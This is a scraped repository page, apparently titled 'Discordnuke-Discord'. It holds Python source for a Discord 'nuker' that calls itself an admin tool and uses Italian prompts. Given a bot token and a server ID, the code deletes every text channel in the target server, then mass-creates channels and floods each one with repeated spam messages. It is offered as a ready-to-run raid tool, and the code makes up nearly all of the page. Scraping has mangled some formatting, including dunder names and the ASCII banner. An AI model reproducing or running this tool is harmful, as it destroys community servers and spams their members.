Hackerilvero / Discordnuke-Discord

1 stars 0 forks source link

import discord import asyncio

class DiscordAdminTool: def init(self): self.logo = """ \033[92m _
|
\() | \ | | | |
| | | |
_
| \| | | | __ | | | | / |/ / \| . ` | | | | |/ / \ '| | || | \ \ (| () | |\ | || | < / |
|
/|_|/\\/|| \|\_,||\\|_|
\033[0m\033[91m By Red Hat \033[0m"""

def print_logo(self):
    print(self.logo)

async def delete_channels(self, guild):
    for channel in guild.text_channels:
        await channel.delete()

async def create_channels_and_send_messages(self, guild, channel_name, num_channels, message, num_messages):
    tasks = []
    for _ in range(num_channels):
        tasks.append(guild.create_text_channel(channel_name))
    channels = await asyncio.gather(*tasks)

    tasks = []
    for channel in channels:
        for _ in range(num_messages):
            tasks.append(channel.send(message))
    await asyncio.gather(*tasks)

def start(self):
    token = input("Inserisci il token del bot: ")
    message = input("Inserisci il messaggio da inviare: ")
    num_messages = int(input("Inserisci il numero di messaggi da inviare: "))
    channel_name = input("Inserisci il nome del canale: ")
    num_channels = int(input("Inserisci il numero di canali: "))
    guild_id = int(input("Inserisci l'ID del server (Guild): "))

    loop = asyncio.get_event_loop()
    loop.run_until_complete(self.setup_bot(token, message, channel_name, num_channels, guild_id, num_messages))

async def setup_bot(self, token, message, channel_name, num_channels, guild_id, num_messages):
    intents = discord.Intents.default()
    intents.guilds = True
    intents.messages = True

    client = discord.Client(intents=intents)

    @client.event
    async def on_ready():
        print(f'Logged in as {client.user}')

        guild = client.get_guild(guild_id)
        if guild is None:
            print("ID del server non valido.")
            await client.close()
            return

        await self.delete_channels(guild)
        await self.create_channels_and_send_messages(guild, channel_name, num_channels, message, num_messages)

        await client.close()

    await client.start(token)

def main(): tool = DiscordAdminTool()

while True:
    tool.print_logo()
    print("\033[92m[1] Start")
    print("[2] Exit\033[0m")
    choice = input("\033[92mScelta: \033[0m")

    if choice == '1':
        tool.start()
    elif choice == '2':
        break
    else:
        print("\033[91mScelta non valida. Riprova.\033[0m")

if name == "main": main()